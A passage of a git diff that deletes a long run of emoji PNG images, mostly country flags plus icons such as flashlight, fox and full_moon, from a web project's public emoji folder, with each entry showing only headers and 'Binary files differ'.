deleted file mode 100644
index 537312e3f12..00000000000
--- a/public/-/emojis/2/flag_mk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ml.png b/public/-/emojis/2/flag_ml.png
deleted file mode 100644
index ba7f295285b..00000000000
--- a/public/-/emojis/2/flag_ml.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mm.png b/public/-/emojis/2/flag_mm.png
deleted file mode 100644
index be9a45570a2..00000000000
--- a/public/-/emojis/2/flag_mm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mn.png b/public/-/emojis/2/flag_mn.png
deleted file mode 100644
index 63c0f787d2c..00000000000
--- a/public/-/emojis/2/flag_mn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mo.png b/public/-/emojis/2/flag_mo.png
deleted file mode 100644
index 95ff11a4a78..00000000000
--- a/public/-/emojis/2/flag_mo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mp.png b/public/-/emojis/2/flag_mp.png
deleted file mode 100644
index de1f6e2e330..00000000000
--- a/public/-/emojis/2/flag_mp.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mq.png b/public/-/emojis/2/flag_mq.png
deleted file mode 100644
index 7f42d6b7434..00000000000
--- a/public/-/emojis/2/flag_mq.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mr.png b/public/-/emojis/2/flag_mr.png
deleted file mode 100644
index 7b36b85f29f..00000000000
--- a/public/-/emojis/2/flag_mr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ms.png b/public/-/emojis/2/flag_ms.png
deleted file mode 100644
index ae9a601ab06..00000000000
--- a/public/-/emojis/2/flag_ms.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mt.png b/public/-/emojis/2/flag_mt.png
deleted file mode 100644
index 597c16a47b8..00000000000
--- a/public/-/emojis/2/flag_mt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mu.png b/public/-/emojis/2/flag_mu.png
deleted file mode 100644
index 2600a641441..00000000000
--- a/public/-/emojis/2/flag_mu.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mv.png b/public/-/emojis/2/flag_mv.png
deleted file mode 100644
index 3292b097d4a..00000000000
--- a/public/-/emojis/2/flag_mv.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mw.png b/public/-/emojis/2/flag_mw.png
deleted file mode 100644
index ed4963b3dc4..00000000000
--- a/public/-/emojis/2/flag_mw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mx.png b/public/-/emojis/2/flag_mx.png
deleted file mode 100644
index c1b96b75a7d..00000000000
--- a/public/-/emojis/2/flag_mx.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_my.png b/public/-/emojis/2/flag_my.png
deleted file mode 100644
index 14b78c71199..00000000000
--- a/public/-/emojis/2/flag_my.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_mz.png b/public/-/emojis/2/flag_mz.png
deleted file mode 100644
index a74381cfc55..00000000000
--- a/public/-/emojis/2/flag_mz.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_na.png b/public/-/emojis/2/flag_na.png
deleted file mode 100644
index f52df6ca2cf..00000000000
--- a/public/-/emojis/2/flag_na.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_nc.png b/public/-/emojis/2/flag_nc.png
deleted file mode 100644
index c2bdf4a363c..00000000000
--- a/public/-/emojis/2/flag_nc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ne.png b/public/-/emojis/2/flag_ne.png
deleted file mode 100644
index c523cdaf2a0..00000000000
--- a/public/-/emojis/2/flag_ne.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_nf.png b/public/-/emojis/2/flag_nf.png
deleted file mode 100644
index 917f28c5f27..00000000000
--- a/public/-/emojis/2/flag_nf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ng.png b/public/-/emojis/2/flag_ng.png
deleted file mode 100644
index 70ab9b5238d..00000000000
--- a/public/-/emojis/2/flag_ng.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ni.png b/public/-/emojis/2/flag_ni.png
deleted file mode 100644
index ec53a2f7359..00000000000
--- a/public/-/emojis/2/flag_ni.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_nl.png b/public/-/emojis/2/flag_nl.png
deleted file mode 100644
index 7501e51b947..00000000000
--- a/public/-/emojis/2/flag_nl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_no.png b/public/-/emojis/2/flag_no.png
deleted file mode 100644
index 1e0b327b0cd..00000000000
--- a/public/-/emojis/2/flag_no.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_np.png b/public/-/emojis/2/flag_np.png
deleted file mode 100644
index 9d0e33415d3..00000000000
--- a/public/-/emojis/2/flag_np.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_nr.png b/public/-/emojis/2/flag_nr.png
deleted file mode 100644
index 4696e5f7740..00000000000
--- a/public/-/emojis/2/flag_nr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_nu.png b/public/-/emojis/2/flag_nu.png
deleted file mode 100644
index 70da482bba2..00000000000
--- a/public/-/emojis/2/flag_nu.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_nz.png b/public/-/emojis/2/flag_nz.png
deleted file mode 100644
index 24c2dfb54fb..00000000000
--- a/public/-/emojis/2/flag_nz.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_om.png b/public/-/emojis/2/flag_om.png
deleted file mode 100644
index 781ddd0f8d5..00000000000
--- a/public/-/emojis/2/flag_om.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pa.png b/public/-/emojis/2/flag_pa.png
deleted file mode 100644
index 021762803ae..00000000000
--- a/public/-/emojis/2/flag_pa.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pe.png b/public/-/emojis/2/flag_pe.png
deleted file mode 100644
index af6d2ef0aaa..00000000000
--- a/public/-/emojis/2/flag_pe.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pf.png b/public/-/emojis/2/flag_pf.png
deleted file mode 100644
index 6bf67b9e524..00000000000
--- a/public/-/emojis/2/flag_pf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pg.png b/public/-/emojis/2/flag_pg.png
deleted file mode 100644
index ebdd92227e0..00000000000
--- a/public/-/emojis/2/flag_pg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ph.png b/public/-/emojis/2/flag_ph.png
deleted file mode 100644
index 7426ac0f407..00000000000
--- a/public/-/emojis/2/flag_ph.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pk.png b/public/-/emojis/2/flag_pk.png
deleted file mode 100644
index 3cd29acc3a6..00000000000
--- a/public/-/emojis/2/flag_pk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pl.png b/public/-/emojis/2/flag_pl.png
deleted file mode 100644
index f2fd778284d..00000000000
--- a/public/-/emojis/2/flag_pl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pm.png b/public/-/emojis/2/flag_pm.png
deleted file mode 100644
index 0578b9fd2a0..00000000000
--- a/public/-/emojis/2/flag_pm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pn.png b/public/-/emojis/2/flag_pn.png
deleted file mode 100644
index 77b3fc570f7..00000000000
--- a/public/-/emojis/2/flag_pn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pr.png b/public/-/emojis/2/flag_pr.png
deleted file mode 100644
index f5caa29ae38..00000000000
--- a/public/-/emojis/2/flag_pr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ps.png b/public/-/emojis/2/flag_ps.png
deleted file mode 100644
index 0ac6978a231..00000000000
--- a/public/-/emojis/2/flag_ps.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pt.png b/public/-/emojis/2/flag_pt.png
deleted file mode 100644
index 99fa8b9ad40..00000000000
--- a/public/-/emojis/2/flag_pt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_pw.png b/public/-/emojis/2/flag_pw.png
deleted file mode 100644
index 47c6d76cdc3..00000000000
--- a/public/-/emojis/2/flag_pw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_py.png b/public/-/emojis/2/flag_py.png
deleted file mode 100644
index c180feb3f86..00000000000
--- a/public/-/emojis/2/flag_py.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_qa.png b/public/-/emojis/2/flag_qa.png
deleted file mode 100644
index 38154c9d61e..00000000000
--- a/public/-/emojis/2/flag_qa.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_re.png b/public/-/emojis/2/flag_re.png
deleted file mode 100644
index 7704ffc2555..00000000000
--- a/public/-/emojis/2/flag_re.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ro.png b/public/-/emojis/2/flag_ro.png
deleted file mode 100644
index 8aac4e3f822..00000000000
--- a/public/-/emojis/2/flag_ro.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_rs.png b/public/-/emojis/2/flag_rs.png
deleted file mode 100644
index 415a8679cd6..00000000000
--- a/public/-/emojis/2/flag_rs.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ru.png b/public/-/emojis/2/flag_ru.png
deleted file mode 100644
index 525af098426..00000000000
--- a/public/-/emojis/2/flag_ru.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_rw.png b/public/-/emojis/2/flag_rw.png
deleted file mode 100644
index abd32544bde..00000000000
--- a/public/-/emojis/2/flag_rw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sa.png b/public/-/emojis/2/flag_sa.png
deleted file mode 100644
index 443e982c9a7..00000000000
--- a/public/-/emojis/2/flag_sa.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sb.png b/public/-/emojis/2/flag_sb.png
deleted file mode 100644
index aa971d83305..00000000000
--- a/public/-/emojis/2/flag_sb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sc.png b/public/-/emojis/2/flag_sc.png
deleted file mode 100644
index a45a65ace3c..00000000000
--- a/public/-/emojis/2/flag_sc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sd.png b/public/-/emojis/2/flag_sd.png
deleted file mode 100644
index b2821bc52cc..00000000000
--- a/public/-/emojis/2/flag_sd.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_se.png b/public/-/emojis/2/flag_se.png
deleted file mode 100644
index 65b4cea39eb..00000000000
--- a/public/-/emojis/2/flag_se.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sg.png b/public/-/emojis/2/flag_sg.png
deleted file mode 100644
index 4d929eb0aa9..00000000000
--- a/public/-/emojis/2/flag_sg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sh.png b/public/-/emojis/2/flag_sh.png
deleted file mode 100644
index f5594c9ac1e..00000000000
--- a/public/-/emojis/2/flag_sh.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_si.png b/public/-/emojis/2/flag_si.png
deleted file mode 100644
index 6118682f6e8..00000000000
--- a/public/-/emojis/2/flag_si.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sj.png b/public/-/emojis/2/flag_sj.png
deleted file mode 100644
index 4384783f204..00000000000
--- a/public/-/emojis/2/flag_sj.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sk.png b/public/-/emojis/2/flag_sk.png
deleted file mode 100644
index 014b654e026..00000000000
--- a/public/-/emojis/2/flag_sk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sl.png b/public/-/emojis/2/flag_sl.png
deleted file mode 100644
index 8e74890346a..00000000000
--- a/public/-/emojis/2/flag_sl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sm.png b/public/-/emojis/2/flag_sm.png
deleted file mode 100644
index e78f42fa58f..00000000000
--- a/public/-/emojis/2/flag_sm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sn.png b/public/-/emojis/2/flag_sn.png
deleted file mode 100644
index 015fe54b14d..00000000000
--- a/public/-/emojis/2/flag_sn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_so.png b/public/-/emojis/2/flag_so.png
deleted file mode 100644
index 6366ebbf8a8..00000000000
--- a/public/-/emojis/2/flag_so.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sr.png b/public/-/emojis/2/flag_sr.png
deleted file mode 100644
index b6a9853d46f..00000000000
--- a/public/-/emojis/2/flag_sr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ss.png b/public/-/emojis/2/flag_ss.png
deleted file mode 100644
index 5bb8c8bf090..00000000000
--- a/public/-/emojis/2/flag_ss.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_st.png b/public/-/emojis/2/flag_st.png
deleted file mode 100644
index 6a894388037..00000000000
--- a/public/-/emojis/2/flag_st.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sv.png b/public/-/emojis/2/flag_sv.png
deleted file mode 100644
index 2c793468d35..00000000000
--- a/public/-/emojis/2/flag_sv.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sx.png b/public/-/emojis/2/flag_sx.png
deleted file mode 100644
index a4e803c1f26..00000000000
--- a/public/-/emojis/2/flag_sx.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sy.png b/public/-/emojis/2/flag_sy.png
deleted file mode 100644
index e65feb2d82d..00000000000
--- a/public/-/emojis/2/flag_sy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_sz.png b/public/-/emojis/2/flag_sz.png
deleted file mode 100644
index 41fb9f19443..00000000000
--- a/public/-/emojis/2/flag_sz.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ta.png b/public/-/emojis/2/flag_ta.png
deleted file mode 100644
index 14d8ee3346f..00000000000
--- a/public/-/emojis/2/flag_ta.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tc.png b/public/-/emojis/2/flag_tc.png
deleted file mode 100644
index 99aea26e431..00000000000
--- a/public/-/emojis/2/flag_tc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_td.png b/public/-/emojis/2/flag_td.png
deleted file mode 100644
index e4c3344ed92..00000000000
--- a/public/-/emojis/2/flag_td.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tf.png b/public/-/emojis/2/flag_tf.png
deleted file mode 100644
index 94d0e90f9ed..00000000000
--- a/public/-/emojis/2/flag_tf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tg.png b/public/-/emojis/2/flag_tg.png
deleted file mode 100644
index a123bafd400..00000000000
--- a/public/-/emojis/2/flag_tg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_th.png b/public/-/emojis/2/flag_th.png
deleted file mode 100644
index afd2c2d52c1..00000000000
--- a/public/-/emojis/2/flag_th.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tj.png b/public/-/emojis/2/flag_tj.png
deleted file mode 100644
index 833cc532afc..00000000000
--- a/public/-/emojis/2/flag_tj.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tk.png b/public/-/emojis/2/flag_tk.png
deleted file mode 100644
index bb98b4f555c..00000000000
--- a/public/-/emojis/2/flag_tk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tl.png b/public/-/emojis/2/flag_tl.png
deleted file mode 100644
index 7b5729e3a35..00000000000
--- a/public/-/emojis/2/flag_tl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tm.png b/public/-/emojis/2/flag_tm.png
deleted file mode 100644
index e29ab6e8339..00000000000
--- a/public/-/emojis/2/flag_tm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tn.png b/public/-/emojis/2/flag_tn.png
deleted file mode 100644
index 2df94771c73..00000000000
--- a/public/-/emojis/2/flag_tn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_to.png b/public/-/emojis/2/flag_to.png
deleted file mode 100644
index 22fced003c7..00000000000
--- a/public/-/emojis/2/flag_to.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tr.png b/public/-/emojis/2/flag_tr.png
deleted file mode 100644
index 4711a82e706..00000000000
--- a/public/-/emojis/2/flag_tr.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tt.png b/public/-/emojis/2/flag_tt.png
deleted file mode 100644
index a9f95a673f6..00000000000
--- a/public/-/emojis/2/flag_tt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tv.png b/public/-/emojis/2/flag_tv.png
deleted file mode 100644
index 10c88f91915..00000000000
--- a/public/-/emojis/2/flag_tv.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tw.png b/public/-/emojis/2/flag_tw.png
deleted file mode 100644
index f066d484a1f..00000000000
--- a/public/-/emojis/2/flag_tw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_tz.png b/public/-/emojis/2/flag_tz.png
deleted file mode 100644
index 597edb19015..00000000000
--- a/public/-/emojis/2/flag_tz.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ua.png b/public/-/emojis/2/flag_ua.png
deleted file mode 100644
index 1fbf126e4b5..00000000000
--- a/public/-/emojis/2/flag_ua.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ug.png b/public/-/emojis/2/flag_ug.png
deleted file mode 100644
index 971a7568183..00000000000
--- a/public/-/emojis/2/flag_ug.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_um.png b/public/-/emojis/2/flag_um.png
deleted file mode 100644
index c8a25f94ded..00000000000
--- a/public/-/emojis/2/flag_um.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_us.png b/public/-/emojis/2/flag_us.png
deleted file mode 100644
index 709e2a448b8..00000000000
--- a/public/-/emojis/2/flag_us.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_uy.png b/public/-/emojis/2/flag_uy.png
deleted file mode 100644
index e20237b14e5..00000000000
--- a/public/-/emojis/2/flag_uy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_uz.png b/public/-/emojis/2/flag_uz.png
deleted file mode 100644
index 861b29a3f80..00000000000
--- a/public/-/emojis/2/flag_uz.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_va.png b/public/-/emojis/2/flag_va.png
deleted file mode 100644
index 877c6316923..00000000000
--- a/public/-/emojis/2/flag_va.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_vc.png b/public/-/emojis/2/flag_vc.png
deleted file mode 100644
index 84e27359f08..00000000000
--- a/public/-/emojis/2/flag_vc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ve.png b/public/-/emojis/2/flag_ve.png
deleted file mode 100644
index ac6db836545..00000000000
--- a/public/-/emojis/2/flag_ve.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_vg.png b/public/-/emojis/2/flag_vg.png
deleted file mode 100644
index 532885fb596..00000000000
--- a/public/-/emojis/2/flag_vg.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_vi.png b/public/-/emojis/2/flag_vi.png
deleted file mode 100644
index b07a190ef00..00000000000
--- a/public/-/emojis/2/flag_vi.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_vn.png b/public/-/emojis/2/flag_vn.png
deleted file mode 100644
index c806e179a95..00000000000
--- a/public/-/emojis/2/flag_vn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_vu.png b/public/-/emojis/2/flag_vu.png
deleted file mode 100644
index 223ce5181ae..00000000000
--- a/public/-/emojis/2/flag_vu.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_wf.png b/public/-/emojis/2/flag_wf.png
deleted file mode 100644
index 3b4cc9bc630..00000000000
--- a/public/-/emojis/2/flag_wf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ws.png b/public/-/emojis/2/flag_ws.png
deleted file mode 100644
index 672973ec92c..00000000000
--- a/public/-/emojis/2/flag_ws.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_xk.png b/public/-/emojis/2/flag_xk.png
deleted file mode 100644
index c779633f564..00000000000
--- a/public/-/emojis/2/flag_xk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_ye.png b/public/-/emojis/2/flag_ye.png
deleted file mode 100644
index d11dbb4d4ee..00000000000
--- a/public/-/emojis/2/flag_ye.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_yt.png b/public/-/emojis/2/flag_yt.png
deleted file mode 100644
index c37a31c7966..00000000000
--- a/public/-/emojis/2/flag_yt.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_za.png b/public/-/emojis/2/flag_za.png
deleted file mode 100644
index eebd5c98cc4..00000000000
--- a/public/-/emojis/2/flag_za.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_zm.png b/public/-/emojis/2/flag_zm.png
deleted file mode 100644
index 4b9cc6ed812..00000000000
--- a/public/-/emojis/2/flag_zm.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flag_zw.png b/public/-/emojis/2/flag_zw.png
deleted file mode 100644
index 6c49c048b6a..00000000000
--- a/public/-/emojis/2/flag_zw.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flags.png b/public/-/emojis/2/flags.png
deleted file mode 100644
index c450c045888..00000000000
--- a/public/-/emojis/2/flags.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flashlight.png b/public/-/emojis/2/flashlight.png
deleted file mode 100644
index ac331109ad6..00000000000
--- a/public/-/emojis/2/flashlight.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fleur_de_lis.png b/public/-/emojis/2/fleur_de_lis.png
deleted file mode 100644
index 7e5e351eb18..00000000000
--- a/public/-/emojis/2/fleur_de_lis.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/floppy_disk.png b/public/-/emojis/2/floppy_disk.png
deleted file mode 100644
index 3839fe96fbd..00000000000
--- a/public/-/emojis/2/floppy_disk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flower_playing_cards.png b/public/-/emojis/2/flower_playing_cards.png
deleted file mode 100644
index 9ac94bfb834..00000000000
--- a/public/-/emojis/2/flower_playing_cards.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flushed.png b/public/-/emojis/2/flushed.png
deleted file mode 100644
index 258ca79e017..00000000000
--- a/public/-/emojis/2/flushed.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flying_disc.png b/public/-/emojis/2/flying_disc.png
deleted file mode 100644
index a1236e17c81..00000000000
--- a/public/-/emojis/2/flying_disc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/flying_saucer.png b/public/-/emojis/2/flying_saucer.png
deleted file mode 100644
index 56594f14716..00000000000
--- a/public/-/emojis/2/flying_saucer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fog.png b/public/-/emojis/2/fog.png
deleted file mode 100644
index 85a1dbbb6df..00000000000
--- a/public/-/emojis/2/fog.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/foggy.png b/public/-/emojis/2/foggy.png
deleted file mode 100644
index 9763c086eb6..00000000000
--- a/public/-/emojis/2/foggy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/foot.png b/public/-/emojis/2/foot.png
deleted file mode 100644
index cd29cd04c7f..00000000000
--- a/public/-/emojis/2/foot.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/foot_tone1.png b/public/-/emojis/2/foot_tone1.png
deleted file mode 100644
index bb9c4f0f69a..00000000000
--- a/public/-/emojis/2/foot_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/foot_tone2.png b/public/-/emojis/2/foot_tone2.png
deleted file mode 100644
index fe83e3cf94f..00000000000
--- a/public/-/emojis/2/foot_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/foot_tone3.png b/public/-/emojis/2/foot_tone3.png
deleted file mode 100644
index 94d9da12a14..00000000000
--- a/public/-/emojis/2/foot_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/foot_tone4.png b/public/-/emojis/2/foot_tone4.png
deleted file mode 100644
index a523a7a285a..00000000000
--- a/public/-/emojis/2/foot_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/foot_tone5.png b/public/-/emojis/2/foot_tone5.png
deleted file mode 100644
index 4aa1bc4aa38..00000000000
--- a/public/-/emojis/2/foot_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/football.png b/public/-/emojis/2/football.png
deleted file mode 100644
index 4a3ea07e3ea..00000000000
--- a/public/-/emojis/2/football.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/footprints.png b/public/-/emojis/2/footprints.png
deleted file mode 100644
index 0f41f40a4dd..00000000000
--- a/public/-/emojis/2/footprints.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fork_and_knife.png b/public/-/emojis/2/fork_and_knife.png
deleted file mode 100644
index 369a6f8bd00..00000000000
--- a/public/-/emojis/2/fork_and_knife.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fork_knife_plate.png b/public/-/emojis/2/fork_knife_plate.png
deleted file mode 100644
index 80dd5566fa7..00000000000
--- a/public/-/emojis/2/fork_knife_plate.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fortune_cookie.png b/public/-/emojis/2/fortune_cookie.png
deleted file mode 100644
index 982a27d546c..00000000000
--- a/public/-/emojis/2/fortune_cookie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fountain.png b/public/-/emojis/2/fountain.png
deleted file mode 100644
index 66cc1ee5ac8..00000000000
--- a/public/-/emojis/2/fountain.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/four.png b/public/-/emojis/2/four.png
deleted file mode 100644
index 31343d1b016..00000000000
--- a/public/-/emojis/2/four.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/four_leaf_clover.png b/public/-/emojis/2/four_leaf_clover.png
deleted file mode 100644
index b20693c5662..00000000000
--- a/public/-/emojis/2/four_leaf_clover.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fox.png b/public/-/emojis/2/fox.png
deleted file mode 100644
index 6ab95bc37dd..00000000000
--- a/public/-/emojis/2/fox.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/frame_photo.png b/public/-/emojis/2/frame_photo.png
deleted file mode 100644
index 041e17d640f..00000000000
--- a/public/-/emojis/2/frame_photo.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/free.png b/public/-/emojis/2/free.png
deleted file mode 100644
index 2471141b53a..00000000000
--- a/public/-/emojis/2/free.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/french_bread.png b/public/-/emojis/2/french_bread.png
deleted file mode 100644
index 431a8b4d07a..00000000000
--- a/public/-/emojis/2/french_bread.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fried_shrimp.png b/public/-/emojis/2/fried_shrimp.png
deleted file mode 100644
index 6a94aa65796..00000000000
--- a/public/-/emojis/2/fried_shrimp.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fries.png b/public/-/emojis/2/fries.png
deleted file mode 100644
index 049d5d6dedb..00000000000
--- a/public/-/emojis/2/fries.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/frog.png b/public/-/emojis/2/frog.png
deleted file mode 100644
index 10a5b4fe69a..00000000000
--- a/public/-/emojis/2/frog.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/frowning.png b/public/-/emojis/2/frowning.png
deleted file mode 100644
index cf015d0ddc3..00000000000
--- a/public/-/emojis/2/frowning.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/frowning_face.png b/public/-/emojis/2/frowning_face.png
deleted file mode 100644
index 422a87ef282..00000000000
--- a/public/-/emojis/2/frowning_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/fuelpump.png b/public/-/emojis/2/fuelpump.png
deleted file mode 100644
index 75e1ee24f85..00000000000
--- a/public/-/emojis/2/fuelpump.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/full_moon.png b/public/-/emojis/2/full_moon.png
deleted file mode 100644
index 24df75d6a9a..00000000000
